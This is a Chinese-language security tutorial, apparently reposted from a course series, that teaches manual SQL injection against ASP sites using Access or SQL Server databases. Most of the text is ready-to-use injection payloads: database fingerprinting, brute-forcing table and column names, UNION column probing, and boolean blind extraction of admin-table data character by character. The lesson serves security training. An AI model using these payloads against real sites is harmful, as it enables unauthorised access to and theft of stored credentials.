注入流程:
判斷數(shù)據(jù)庫類型 ——> 判斷表名 ——> 判斷列名 ——> 判斷列名長度 ——> 查出數(shù)據(jù)。
asp的網(wǎng)站,常用數(shù)據(jù)庫為access、sqlserver。
1、判斷數(shù)據(jù)庫類型
and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver
上述語句會返回1或者0
。
msysobjects是access的默認數(shù)據(jù)庫,
sysobjects是sqlserver的默認數(shù)據(jù)庫。
如圖:
這里就能判斷是access的數(shù)據(jù)庫。
2、判斷表名
遍歷表名:and exists (select * from 表名)#存在就返回正常頁面,不存在就報錯。
舉例:
and exists (select * from admin_user)
使用BP對后面的admin_user所在位置的值進行遍歷
假設這里跑出來表名就是:admin_user
3、判斷列名
遍歷列名:and exists (select 列名 from 表名)
#存在就返回正常頁面,不存在就報錯。
舉例:
and exists (select admin from admin_user)
已經(jīng)得知表名是admin_user,使用BP對列名admin所在位置的值進行遍歷
假設這里跑出來列名就是:admin
4、判斷列數(shù)
order by 7前提:頁面中需要有顯示位
1)判斷顯示位
使用聯(lián)合查詢
union select 1,2,3,4,5,6,7 from admin_user
5、判斷數(shù)據(jù)長度
and (select top 1 len(列名) from 表名)>5
#此為此列第一條數(shù)據(jù)的長度,判斷其是不是大于5
and (select top 1 len(列名) from 表名)=5
#此為此列第一條數(shù)據(jù)的長度是不是等于5
舉例:
and (select top 1 len(admin) from admin_user)=5
假如返回是真,那就說明admin_user這個表里面對應的admin這一列的第一個數(shù)據(jù)長度時5.
6、爆破數(shù)據(jù)內(nèi)容
and (select top 1 asc(mid(列名,位數(shù),1)) from admin)=97
#mid()用于從文本中提取字段,mid(列名,起始位置,要返回的字符數(shù))
#asc()是進行ASCII編碼
舉例:
and (select top 1 asc(mid(admin,1,1)) from admin_user)=97(97對應的字母為a)文章來源:http://www.zghlxwxcb.cn/news/detail-668526.html
#若返回真,說明admin_user這個表中admin字段對應的那一列的第一條數(shù)據(jù)的第一位是 ’ a ’文章來源地址http://www.zghlxwxcb.cn/news/detail-668526.html
到了這里,關于網(wǎng)絡安全進階學習第十二課——SQL手工注入3(Access數(shù)據(jù)庫)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!